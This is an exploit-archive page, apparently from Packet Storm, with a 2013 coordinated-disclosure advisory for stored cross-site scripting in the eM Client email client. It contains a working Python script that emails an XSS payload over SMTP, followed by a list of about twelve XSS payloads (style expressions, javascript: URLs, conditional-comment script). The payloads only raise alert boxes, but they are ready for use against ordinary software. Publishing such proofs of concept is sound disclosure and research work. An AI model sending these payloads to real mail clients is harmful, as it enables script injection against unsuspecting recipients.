the original cloud security

eM Client 5.0.18025.0 Cross Site Scripting

eM Client 5.0.18025.0 Cross Site Scripting
Posted Sep 10, 2013
Authored by loneferret

eM Client e-mail client version 5.0.18025.0 suffers from a stored cross site scripting vulnerability.

tags | exploit, xss
MD5 | 2de1171d49248dfed29a3e6e307ba37b

eM Client 5.0.18025.0 Cross Site Scripting

Change Mirror Download
#!/usr/bin/python
'''

Author: loneferret of Offensive Security
Date: 22-08-2013
Product: eM Client for Windows
Version: 5.0.18025.0 (previous versions and other platforms may be vulnerable)
Vendor Site: http://www.emclient.com/
Software Download: http://www.emclient.com/download

Tested on: Windows XP Pro SP3 Eng.
Tested on: Windows 7 Pro SP1 Eng.
eM Client: Using default settings


E-mail client is vulnerable to stored XSS. Either opening or viewing the e-mail and you
get an annoying alert box etc etc etc.
Injection Point: Body

Gave vendor 7 days to reply in order to co-ordinate a release date.
Timeline:
23 Aug 2013: Tentative release date 30 Aug 2013
23 Aug 2013: Vulnerability reported to vendor. Provided a list of payloads
26 Aug 2013: No response from vendor, sent a reminder email
27 Aug 2013: Vendor responded, will issue update to fix within 14 days
27 Aug 2013: Tentative release date pushed to September 10th 2013
27 Aug 2013: Replied to vendor with new date
09 Sep 2013: Contacted vendor with remainder of release date
09 Sep 2013: Vendor responded with go ahead with release
10 Sep 2013: Public release

'''

import smtplib, urllib2

payload = '''<DIV STYLE="background-image: url(javascript:alert('XSS'))">'''

def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@offsec.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: XSS payload\n"
msg += "Content-type: text/html\n\n"
msg += payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()

username = "test@test.com"
password = "123456"
dstemail = "test@test.com"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.61.165"

print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)

'''
# Payloads
[+] Payload 1 : DIV background-image 1
[+] Code for 1 : <DIV STYLE="background-image: url(javascript:alert('XSS'))">
------------
[+] Payload 2 : DIV background-image 2
[+] Code for 2 : <DIV STYLE="background-image: url(javascript:alert('XSS'))">
------------
[+] Payload 3 : DIV expression
[+] Code for 3 : <DIV STYLE="width: expression(alert('XSS'));">
------------
[+] Payload 4 : IMG STYLE w/expression
[+] Code for 4 : exp/*<XSS STYLE='no\xss:noxss("*//*");
xss:ex&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
------------
[+] Payload 5 : List-style-image
[+] Code for 5 : <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
------------
[+] Payload 6 : STYLE w/Comment
[+] Code for 6 : <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
------------
[+] Payload 7 : STYLE w/Anonymous HTML
[+] Code for 7 : <XSS STYLE="xss:expression(alert('XSS'))">
------------
[+] Payload 8 : STYLE w/background-image
[+] Code for 8 : <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
------------
[+] Payload 9 : TABLE
[+] Code for 9 : <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
------------
[+] Payload 10 : TD
[+] Code for 11 : <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
------------
[+] Payload 12 : Commented-out Block
[+] Code for 12 : <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
----
'''

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

July 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    2 Files
  • 2
    Jul 2nd
    3 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    4 Files
  • 5
    Jul 5th
    15 Files
  • 6
    Jul 6th
    15 Files
  • 7
    Jul 7th
    10 Files
  • 8
    Jul 8th
    2 Files
  • 9
    Jul 9th
    10 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    15 Files
  • 12
    Jul 12th
    19 Files
  • 13
    Jul 13th
    16 Files
  • 14
    Jul 14th
    15 Files
  • 15
    Jul 15th
    3 Files
  • 16
    Jul 16th
    2 Files
  • 17
    Jul 17th
    8 Files
  • 18
    Jul 18th
    11 Files
  • 19
    Jul 19th
    15 Files
  • 20
    Jul 20th
    15 Files
  • 21
    Jul 21st
    15 Files
  • 22
    Jul 22nd
    7 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close